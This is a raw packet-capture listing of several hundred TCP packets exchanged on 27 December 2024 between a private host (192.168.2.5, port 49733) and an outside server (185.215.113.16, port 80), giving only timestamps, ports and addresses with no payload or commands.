Dec 27, 2024 15:12:57.602479935 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.603383064 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.603529930 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.603555918 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.604443073 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.604517937 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.604540110 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.605474949 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.605817080 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.605834007 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.606520891 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.606548071 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.606616974 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.607563972 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.607584953 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.607774973 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.608561993 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.608582020 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.608719110 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.609587908 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.609608889 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.609666109 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.609966993 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.610605955 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.610704899 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.611638069 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.611692905 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.611751080 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.611852884 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.612673998 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.612889051 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.612937927 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.613696098 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.613748074 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.614115953 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.614722013 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.614936113 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.618547916 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.622605085 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622651100 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622715950 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622756004 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622761011 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622776985 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.622836113 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.622920990 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622931957 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622942924 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622955084 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622962952 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.622967005 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622980118 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.622987032 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.623001099 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.623038054 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.623038054 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.623179913 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.623198986 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.623210907 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.623231888 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.628806114 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.628861904 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.628907919 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.628918886 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.628966093 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629030943 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629081011 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629092932 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629103899 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629122972 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629163980 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629309893 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629321098 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629337072 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629342079 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629344940 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629359007 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629384995 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629472971 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.629523993 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.629569054 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.630857944 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.630871058 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.630917072 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.631448030 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.631567955 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.631588936 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.632482052 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.632524014 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.632580042 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.633600950 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.633641005 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.633747101 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.634592056 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.634701967 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.635608912 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.635729074 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.635746956 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.636642933 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.636765957 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.636784077 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.637650967 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.637700081 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.637722969 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.638680935 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.638804913 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.638854027 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.639729023 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.639780045 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.639831066 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.640769958 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.640806913 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.640918016 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.641774893 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.641813040 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.641901016 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.642802954 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.642847061 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.642909050 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.643872976 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.643913984 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.643980026 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.644874096 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.644915104 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.644968987 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.645896912 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.645935059 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.646039009 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.646923065 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.646961927 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.647023916 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.647957087 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.647999048 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.648056030 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.648981094 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.649015903 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.649105072 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.650044918 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.650084972 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.650134087 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.651037931 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.651092052 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.651150942 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.652076960 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.652117968 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.652177095 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.653137922 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.653181076 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.653227091 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.654177904 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.654217005 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.654251099 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.655154943 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.655270100 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.655311108 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.656203985 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.656275034 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.656342983 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.657334089 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.657362938 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.657382965 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.658251047 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.658354998 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.658425093 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.659372091 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.659423113 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.659461021 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.660365105 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.660394907 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.660470009 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.661750078 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.661950111 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.662246943 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.662713051 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.662766933 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.662792921 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.663444996 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.663494110 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.663527966 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.664597988 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.664655924 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.664685011 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.665561914 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.665626049 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.665720940 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.666656971 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.666778088 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.667743921 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.667763948 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.667782068 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.668571949 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.668591022 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.668701887 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.669706106 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.669723988 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.669753075 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.670367002 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.670715094 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.670753956 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.670756102 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.671673059 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.671711922 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.671765089 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.672800064 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.672842026 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.672864914 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.673707008 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.673744917 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.673870087 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.674773932 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.674812078 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.674841881 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.675802946 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.675844908 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.675930977 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.676965952 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.677002907 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.677061081 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.677900076 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.677937031 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.678085089 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.678853035 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.678905964 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.678975105 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.679897070 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.679938078 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.680032015 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.680910110 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.680954933 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.681025982 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.681956053 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.681994915 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.682085037 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.682984114 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.683023930 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.683032036 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.684017897 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.684056997 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.684173107 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.685086966 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.685127020 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.685153961 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.686172962 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.686211109 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.686321974 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.687269926 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.687304974 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.688148975 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.688278913 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.688297987 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.689179897 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.689313889 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.689337015 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.690180063 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.690325975 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.690350056 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.691185951 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.691294909 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.692239046 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.692259073 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.692317009 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.693008900 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.693239927 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.693289995 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.693358898 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.694308996 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.694349051 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.694406033 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.695343971 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.695473909 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.695494890 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.696391106 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.696435928 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.696542978 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.697427034 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.697463989 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.697530031 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.737458944 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:57.752116919 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:57.799953938 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.003618002 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.004101992 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.123492956 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.123516083 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.123733044 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.123785973 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.123852968 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.124382019 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.124525070 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.124569893 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.125088930 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.125193119 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.125228882 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.125924110 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.126013994 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.126723051 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.126780987 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.126795053 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.126827955 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.127397060 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.127485991 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.127523899 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.128138065 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.128242016 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.128282070 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.128923893 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.129041910 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.129077911 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.129715919 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.129801989 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.129842043 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.130482912 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.130565882 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.130881071 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.131222010 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.131366968 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.131769896 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.131997108 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.132116079 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.132148027 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.132714987 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.132828951 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.132865906 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.133474112 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.133567095 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.133604050 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.134350061 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.134525061 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.135273933 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.135303974 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.135345936 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.135927916 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.136040926 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.136584044 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.136775017 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.136804104 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.136878967 CET	49733	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:12:58.137350082 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.137481928 CET	80	49733	185.215.113.16	192.168.2.5
Dec 27, 2024 15:12:58.138144016 CET	80	49733	185.215.113.16	192.168.2.5
